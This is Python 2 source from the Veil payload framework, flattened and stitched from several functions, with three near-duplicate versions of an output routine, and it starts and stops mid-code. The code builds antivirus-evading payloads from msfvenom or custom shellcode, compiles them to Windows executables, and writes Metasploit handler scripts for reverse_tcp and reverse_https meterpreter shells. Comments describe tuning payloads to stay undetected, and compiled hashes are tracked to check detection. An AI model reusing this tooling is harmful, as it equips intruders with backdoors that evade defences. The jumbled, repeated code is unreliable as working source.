# else choosing the payload by name elif len(p.split("/")) == 2: lang,payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.PayloadInfo(self.payload) cmd = "" showMessage=False # error catchings if not of form [use BLAH] else: cmd = "" showMessage=False elif cmd.startswith("list"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() if len(cmd.split()) == 2: parts = cmd.split() if parts[1] == "all" or parts[1] == "payloads": messages.title() self.ListAllPayloads() elif parts[1] == "langs": messages.title() self.ListLangs() else: messages.title() self.ListPayloads(parts[1]) cmd = "" showMessage=False elif cmd.startswith("exit") or cmd.startswith("q"): print helpers.color("\n [!] Exiting...\n", warning=True) sys.exit() # select a payload by just the number elif cmd.isdigit() and 0 < int(cmd) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(cmd) == x: self.payload = pay self.outputFileName = self.PayloadMenu(self.payload) x += 1 cmd = "" showMessage=True # if nothing is entered else: cmd = "" loop += 1 showMessage=True loop -= 1 return self.outputFileName # catch any ctrl + c interrupts except KeyboardInterrupt: print helpers.color("\n\n [!] Exiting...\n", warning=True) sys.exit()
def PayloadMenu(self, payload, showTitle=True, args=None): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payloadCommands, self.payload) readline.set_completer_delims(" \t\n;") readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # extract the payload class name from the instantiated object # YES, I know this is a giant hack :( # basically need to find "payloads" in the path name, then build # everything as appropriate payloadname = "/".join( str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:] ) print "\n Payload: " + helpers.color(payloadname) + " loaded\n" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [%s>>]: " % payloadname).strip() if choice != "": parts = choice.strip().split() cmd = parts[0].lower() # display help menu for the payload if cmd == "info": self.PayloadInfo(payload) choice = "" if cmd == "help": messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if cmd == "main" or cmd == "back" or cmd == "home": # finished = True return "" # self.MainMenu() if cmd == "exit" or cmd == "end" or cmd == "quit": raise KeyboardInterrupt # Update Veil via git if cmd == "update": self.UpdateVeil() # set specific options if cmd == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color(" [!] ERROR: no value supplied\n", warning=True) else: option = parts[1].upper() value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": if "." in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value, ): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True ) else: try: payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR #1: Specify LHOST value in the following screen.\n", warning=True, ) except AttributeError: print helpers.color( "\n [!] ERROR #2: Specify LHOST value in the following screen.\n", warning=True, ) # assume we've been passed a domain name else: if helpers.isValidHostname(value): payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True ) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) elif ":" in value: try: socket.inet_pton(socket.AF_INET6, value) payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except socket.error: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) value = "" else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True ) value = "" # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True, ) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True, ) except ValueError: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value print " [*] %s => %s" % (option, value) except: print helpers.color(" [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if cmd == "generate" or cmd == "gen" or cmd == "run" or cmd == "go" or cmd == "do" or cmd == "make": # make sure all required options are filled in first if self.ValidatePayload(payload): # finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode, args=args) else: print helpers.color("\n [!] WARNING: not all required options filled\n", warning=True) if cmd == "options": # if required options were specified, output them if hasattr(self.payload, "required_options"): self.PayloadOptions(self.payload)
def supportingFiles(): # Print Title messages.title() # Determine if the user wants Pyinstaller or Py2Exe. print '\n[?] How would you like to create your payload executable?\n' print ' 1 - Pyinstaller (default)' print ' 2 - Py2Exe\n' try: PyMaker = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Python-Wrapper If-statement if PyMaker == "2": # Generate setup.py File for Py2Exe SetupFile = open('setup.py', 'w') SetupFile.write("from distutils.core import setup\n") SetupFile.write("import py2exe, sys, os\n\n") SetupFile.write("setup(\n") SetupFile.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") SetupFile.write("\tzipfile = None,\n") SetupFile.write("\twindows=['payload.py']\n") SetupFile.write(")") SetupFile.close() # Generate Batch script for Compiling on Windows Using Py2Exe RunmeFile = open('runme.bat', 'w') RunmeFile.write('rem Batch Script for compiling python code into an executable\n') RunmeFile.write('rem on windows with py2exe\n') RunmeFile.write('rem Developed by @ChrisTruncer\n\n') RunmeFile.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') RunmeFile.write("python setup.py py2exe\n") RunmeFile.write('cd dist\n') RunmeFile.write('move payload.exe ../\n') RunmeFile.write('cd ..\n') RunmeFile.write('rmdir /S /Q build\n') RunmeFile.write('rmdir /S /Q dist\n') RunmeFile.close() print shellcode.helpfulinfo # Else, Use Pyinstaller (used by default) else: # Check for Wine python.exe Binary (Thanks to darknight007 for this fix.) if(os.path.isfile('/root/.wine/drive_c/Python27/python.exe')): print os.system('wine /root/.wine/drive_c/Python27/python.exe /root/pyinstaller-2.0/pyinstaller.py --noconsole --onefile payload.py') os.system('mv dist/payload.exe .') os.system('rm -rf dist') os.system('rm -rf build') os.system('rm payload.spec') os.system('rm logdict*.*') os.system('rm payload.py') messages.title() print shellcode.helpfulinfo else: messages.title() print "\n[Error]: Can't find python.exe in /root/.wine/drive_c/Python27/." print " Make sure the python.exe binary exists before using PyInstaller.\n" exit(1)
def custShellcodeMenu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: messages.title() print ' [?] Use msfvenom or supply custom shellcode?\n' print ' 1 - msfvenom (default)' print ' 2 - custom shellcode string' print ' 3 - file with shellcode (raw)\n' choice = raw_input(" [>] Please enter the number of your choice: ") if choice == '3': # instantiate our completer object for path completion comp = completers.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = raw_input(" [>] Please enter the path to your raw shellcode file: ") try: shellcodeFile = open(filePath, 'rb') CustShell = shellcodeFile.read() shellcodeFile.close() except: print helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True) return None if len(CustShell) == 0: print helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True) return None # check if the shellcode was passed in as string-escaped form if CustShell[0:2] == "\\x" and CustShell[4:6] == "\\x": return CustShell else: # otherwise encode the raw data as a hex string hexString = binascii.hexlify(CustShell) CustShell = "\\x"+"\\x".join([hexString[i:i+2] for i in range(0,len(hexString),2)]) return CustShell # remove the completer readline.set_completer(None) if choice == '2': # if the shellcode is specified as a string CustomShell = raw_input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") if len(CustomShell) == 0: print helpers.color(" [!] WARNING: no spellcode specified, defaulting to msfvenom!", warning=True) return CustomShell elif choice != '1': print helpers.color(" [!] WARNING: Invalid option chosen, defaulting to msfvenom!", warning=True) return None else: return None
def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""): """ Write a chunk of payload code to a specified ouput file base. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ # if we get .exe code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe": outputFolder = veil.PAYLOAD_COMPILED_PATH else: outputFolder = veil.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) print " [*] Press [enter] for 'payload'" OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ") if OutputBaseChoice == "": OutputBaseChoice = "payload" # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != '']))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, 'w') OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname if hasattr(payload, 'shellcode'): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += ' ' + option + ' ' message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, 'required_options'): message += "\n Required Options:\t" t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += t.strip() message += "\n Source File:\t\t"+OutputFileName + "\n" # print out notes if set if hasattr(payload, 'notes'): #message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) message += "\n" # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, 'required_options'): if "compile_to_exe" in self.payload.required_options: value = self.payload.required_options['compile_to_exe'][0].lower()[0] if value == "y" or value==True: if interactive: supportfiles.supportingFiles(self.payload.language, OutputFileName, {}) else: supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = veil.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # print the full message containing generation notes print message # print the end message messages.endmsg() if interactive: raw_input(" [>] press any key to return to the main menu: ") #self.MainMenu(showMessage=True) return OutputFileName
def OutputMenu(self, payload, code, showTitle=True, interactive=True, args=None): """ Write a chunk of payload code to a specified ouput file base. Also outputs a handler script if required from the options. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ OutputBaseChoice = "" overwrite = False # if we have arguments passed, extract out the values we want if args: OutputBaseChoice = args.o overwrite = args.overwrite # if we get .exe or ELF (with no base) code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe" or payload.extension == "war": outputFolder = settings.PAYLOAD_COMPILED_PATH # Check for ELF binary elif hasattr(payload, "type") and payload.type == "ELF": outputFolder = settings.PAYLOAD_COMPILED_PATH else: outputFolder = settings.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) OutputBaseChoice = raw_input("\n [>] Please enter the base name for output files (default is 'payload'): ") # ensure we get a base name and not a full path while OutputBaseChoice != "" and "/" in OutputBaseChoice: print helpers.color(" [!] Please provide a base name, not a path, for the output base", warning=True) OutputBaseChoice = raw_input( "\n [>] Please enter the base name for output files (default is 'payload'): " ) # for invalid output base choices that are passed by arguments else: if "/" in OutputBaseChoice: print helpers.color(" [!] Please provide a base name, not a path, for the output base", warning=True) print helpers.color(" [!] Defaulting to 'payload' for output base...", warning=True) OutputBaseChoice = "payload" if OutputBaseChoice == "": OutputBaseChoice = "payload" # if we are overwriting, this is the base choice used FinalBaseChoice = OutputBaseChoice # if we're not overwriting output files, walk the existing and increment if not overwrite: # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != ""]))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT unless it is an ELF then no extension if hasattr(payload, "type") and payload.type == "ELF": OutputFileName = outputFolder + FinalBaseChoice + payload.extension else: OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, "w") OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:] ) message = "\n Language:\t\t" + helpers.color(payload.language) + "\n Payload:\t\t" + payloadname handler = "" if hasattr(payload, "shellcode"): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # if the shellcode wasn't custom, build out a handler script handler = "use exploit/multi/handler\n" handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n" # extract LHOST if it's there p = re.compile("LHOST=(.*?) ") parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LHOST " + parts[0] + "\n" else: # try to extract this local IP handler += "set LHOST " + helpers.LHOST() + "\n" # extract LPORT if it's there p = re.compile("LPORT=(.*?) ") parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LPORT " + parts[0] + "\n" # Removed autoscript smart migrate due to users on forum saying that migrate itself caused detection # in an otherwise undetectable (at the time) payload handler += "set ExitOnSession false\n" handler += "exploit -j\n" # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += " " + option + " " message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, "required_options"): t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += "\n" + helpers.formatLong("Required Options:", t.strip(), frontTab=False, spacing=24) # check if any options specify that we should build a handler out keys = payload.required_options.keys() # assuming if LHOST is set, we need a handler script if "LHOST" in keys or "RHOST" in keys: handler = "use exploit/multi/handler\n" # do our best to determine the payload type architecture = "" if hasattr(payload, "architecture") and payload.architecture == "64": architecture = "x64/" # handle options from the backdoor factory if "payload" in keys: p = payload.required_options["payload"][0] if "rev_tcp" in p: handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture elif "bind_tcp" in p: handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture elif "https" in p: handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture elif "shell" in p: handler += "set PAYLOAD windows/%sshell_reverse_tcp\n" % architecture else: pass # if not BDF, try to extract the handler type from the payload name else: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str(str(payload.__class__)[str(payload.__class__).find("payloads") :]) .split(".")[0] .split("/")[1:] ) # pure rev_tcp stager if "rev_tcp" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture # pure bind_tcp stager elif "bind_tcp" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture # pure rev_https stager elif "https" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture # pure rev_http stager elif "http" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_http\n" % architecture else: pass # grab the LHOST value if "LHOST" in keys: handler += "set LHOST " + payload.required_options["LHOST"][0] + "\n" if "RHOST" in keys: handler += "set RHOST " + payload.required_options["RHOST"][0] + "\n" # grab the LPORT value if it was set if "LPORT" in keys: handler += "set LPORT " + payload.required_options["LPORT"][0] + "\n" # grab the LURI value if it was set. ignore the / as that is the default if "LURI" in keys and payload.required_options["LURI"][0] != "/": handler += "set LURI " + payload.required_options["LURI"][0] + "\n" handler += "set ExitOnSession false\n" handler += "exploit -j\n" message += "\n Payload File:\t\t" + OutputFileName + "\n" # if we're generating the handler script, write it out try: if settings.GENERATE_HANDLER_SCRIPT.lower() == "true": if handler != "": handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc" handlerFile = open(handlerFileName, "w") handlerFile.write(handler) handlerFile.close() message += " Handler File:\t\t" + handlerFileName + "\n" except: # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color( "\n [!] Internal error #1. Please run %s manually\n" % (os.path.abspath("./config/update.py")), warning=True, ) # print out notes if set if hasattr(payload, "notes"): # message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, "required_options") and self.payload.language.lower() != "powershell": if "COMPILE_TO_EXE" in self.payload.required_options: value = self.payload.required_options["COMPILE_TO_EXE"][0].lower()[0] if value == "y" or value == True: # check if the --pwnstaller flag was passed if args and args.pwnstaller: supportfiles.supportingFiles(self.payload, OutputFileName, {"method": "pwnstaller"}) else: # if interactive, allow the user to choose the method if interactive: supportfiles.supportingFiles(self.payload, OutputFileName, {}) # otherwise specify the default, pyinstaller else: supportfiles.supportingFiles(self.payload, OutputFileName, {"method": "pyinstaller"}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # This block of code is going to be used to SHA1 hash our compiled payloads to potentially submit the # hash with VTNotify to detect if it's been flagged try: CompiledHashFile = settings.HASH_LIST HashFile = open(CompiledHashFile, "a") OutputFile = open(OutputFileName, "rb") Sha1Hasher = hashlib.sha1() Sha1Hasher.update(OutputFile.read()) SHA1Hash = Sha1Hasher.hexdigest() OutputFile.close() HashFile.write(SHA1Hash + ":" + FinalBaseChoice + "\n") HashFile.close() # print the full message containing generation notes print message # print the end message messages.endmsg() except: # if that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color( "\n [!] Internal error #2. Unable to generate output. Please run %s manually\n" % (os.path.abspath("./config/update.py")), warning=True, ) if interactive: raw_input(" [>] Press any key to return to the main menu.") print "" self.MainMenu(showMessage=True) return OutputFileName
def OutputMenu(self, payload, code, showTitle=True, interactive=True, args=None): """ Write a chunk of payload code to a specified ouput file base. Also outputs a handler script if required from the options. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ OutputBaseChoice = "" overwrite = False # if we have arguments passed, extract out the values we want if args: OutputBaseChoice = args.o overwrite = args.overwrite # if we get .exe or ELF (with no base) code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe" or payload.extension == "war": outputFolder = settings.PAYLOAD_COMPILED_PATH # Check for ELF binary elif hasattr(payload, 'type') and payload.type == "ELF": outputFolder = settings.PAYLOAD_COMPILED_PATH else: outputFolder = settings.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) OutputBaseChoice = raw_input( "\n [>] Please enter the base name for output files (default is 'payload'): " ) # ensure we get a base name and not a full path while OutputBaseChoice != "" and "/" in OutputBaseChoice: print helpers.color( " [!] Please provide a base name, not a path, for the output base", warning=True) OutputBaseChoice = raw_input( "\n [>] Please enter the base name for output files (default is 'payload'): " ) # for invalid output base choices that are passed by arguments else: if "/" in OutputBaseChoice: print helpers.color( " [!] Please provide a base name, not a path, for the output base", warning=True) print helpers.color( " [!] Defaulting to 'payload' for output base...", warning=True) OutputBaseChoice = "payload" if OutputBaseChoice == "": OutputBaseChoice = "payload" # if we are overwriting, this is the base choice used FinalBaseChoice = OutputBaseChoice # if we're not overwriting output files, walk the existing and increment if not overwrite: # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend( list( set([ x.split(".")[0] for x in filenames if x.split(".")[0] != '' ]))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT unless it is an ELF then no extension if hasattr(payload, 'type') and payload.type == "ELF": OutputFileName = outputFolder + FinalBaseChoice + payload.extension else: OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, 'w') OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split(".") [0].split("/")[1:]) message = "\n Language:\t\t" + helpers.color( payload.language) + "\n Payload:\t\t" + payloadname handler = "" if hasattr(payload, 'shellcode'): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # if the shellcode wasn't custom, build out a handler script handler = "use exploit/multi/handler\n" handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n" # extract LHOST if it's there p = re.compile('LHOST=(.*?) ') parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LHOST " + parts[0] + "\n" else: # try to extract this local IP handler += "set LHOST " + helpers.LHOST() + "\n" # extract LPORT if it's there p = re.compile('LPORT=(.*?) ') parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LPORT " + parts[0] + "\n" # Removed autoscript smart migrate due to users on forum saying that migrate itself caused detection # in an otherwise undetectable (at the time) payload handler += "set ExitOnSession false\n" handler += "exploit -j\n" # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += ' ' + option + ' ' message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, 'required_options'): t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += "\n" + helpers.formatLong( "Required Options:", t.strip(), frontTab=False, spacing=24) # check if any options specify that we should build a handler out keys = payload.required_options.keys() # assuming if LHOST is set, we need a handler script if "LHOST" in keys or "RHOST" in keys: handler = "use exploit/multi/handler\n" # do our best to determine the payload type architecture = "" if hasattr(payload, "architecture") and payload.architecture == "64": architecture = "x64/" # handle options from the backdoor factory if "payload" in keys: p = payload.required_options["payload"][0] if "rev_tcp" in p: handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture elif "bind_tcp" in p: handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture elif "https" in p: handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture elif "shell" in p: handler += "set PAYLOAD windows/%sshell_reverse_tcp\n" % architecture else: pass # if not BDF, try to extract the handler type from the payload name else: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split( ".")[0].split("/")[1:]) # pure rev_tcp stager if "rev_tcp" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_tcp\n" % architecture # pure bind_tcp stager elif "bind_tcp" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/bind_tcp\n" % architecture # pure rev_https stager elif "https" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_https\n" % architecture # pure rev_http stager elif "http" in payloadname.lower(): handler += "set PAYLOAD windows/%smeterpreter/reverse_http\n" % architecture else: pass # grab the LHOST value if "LHOST" in keys: handler += "set LHOST " + payload.required_options[ "LHOST"][0] + "\n" if "RHOST" in keys: handler += "set RHOST " + payload.required_options[ "RHOST"][0] + "\n" # grab the LPORT value if it was set if "LPORT" in keys: handler += "set LPORT " + payload.required_options[ "LPORT"][0] + "\n" handler += "set ExitOnSession false\n" handler += "exploit -j\n" message += "\n Payload File:\t\t" + OutputFileName + "\n" # if we're generating the handler script, write it out try: if settings.GENERATE_HANDLER_SCRIPT.lower() == "true": if handler != "": handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc" handlerFile = open(handlerFileName, 'w') handlerFile.write(handler) handlerFile.close() message += " Handler File:\t\t" + handlerFileName + "\n" except: # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color( "\n [!] Internal error #1. Please run %s manually\n" % (os.path.abspath("./config/update.py")), warning=True) # print out notes if set if hasattr(payload, 'notes'): #message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, 'required_options' ) and self.payload.language.lower() != "powershell": if "COMPILE_TO_EXE" in self.payload.required_options: value = self.payload.required_options['COMPILE_TO_EXE'][ 0].lower()[0] if value == "y" or value == True: # check if the --pwnstaller flag was passed if args and args.pwnstaller: supportfiles.supportingFiles(self.payload, OutputFileName, {'method': 'pwnstaller'}) else: # if interactive, allow the user to choose the method if interactive: supportfiles.supportingFiles( self.payload, OutputFileName, {}) # otherwise specify the default, pyinstaller else: supportfiles.supportingFiles( self.payload, OutputFileName, {'method': 'pyinstaller'}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # This block of code is going to be used to SHA1 hash our compiled payloads to potentially submit the # hash with VTNotify to detect if it's been flagged try: CompiledHashFile = settings.HASH_LIST HashFile = open(CompiledHashFile, 'a') OutputFile = open(OutputFileName, 'rb') Sha1Hasher = hashlib.sha1() Sha1Hasher.update(OutputFile.read()) SHA1Hash = Sha1Hasher.hexdigest() OutputFile.close() HashFile.write(SHA1Hash + ":" + FinalBaseChoice + "\n") HashFile.close() # print the full message containing generation notes print message # print the end message messages.endmsg() except: # if that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color( "\n [!] Internal error #2. Unable to generate output. Please run %s manually\n" % (os.path.abspath("./config/update.py")), warning=True) if interactive: raw_input(" [>] Press any key to return to the main menu.") print "" self.MainMenu(showMessage=True) return OutputFileName
def MainMenu(self, showMessage=True, args=None): """ Main interactive menu for payload generation. showMessage = reset the screen and show the greeting message [default=True] oneRun = only run generation once, returning the path to the compiled executable used when invoking the framework from an external source """ self.outputFileName = "" cmd = "" try: while cmd == "" and self.outputFileName == "": # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this comp = completers.MainMenuCompleter(self.commands, self.payloads) readline.set_completer_delims(" \t\n;") readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) if showMessage: # print the title, where we are, and number of payloads loaded if settings.TERMINAL_CLEAR != "false": messages.title() print " Main Menu\n" print "\t" + helpers.color(str(len(self.payloads))) + " payloads loaded\n" messages.helpmsg(self.commands, showTitle=False) showTitle = False cmd = raw_input(" [menu>>]: ").strip() # handle our tab completed commands if cmd.startswith("help"): if settings.TERMINAL_CLEAR != "false": messages.title() cmd = "" showMessage = False elif cmd.startswith("use"): if len(cmd.split()) == 1: if settings.TERMINAL_CLEAR != "false": messages.title() self.ListPayloads() showMessage = False cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.payloadname = name self.outputFileName = self.PayloadMenu(self.payload, args=args) x += 1 # else choosing the payload by name else: for (payloadName, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if payloadName == p: self.payload = pay self.payloadname = payloadName self.outputFileName = self.PayloadMenu(self.payload, args=args) cmd = "" if settings.TERMINAL_CLEAR != "false": showMessage = True # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("update"): 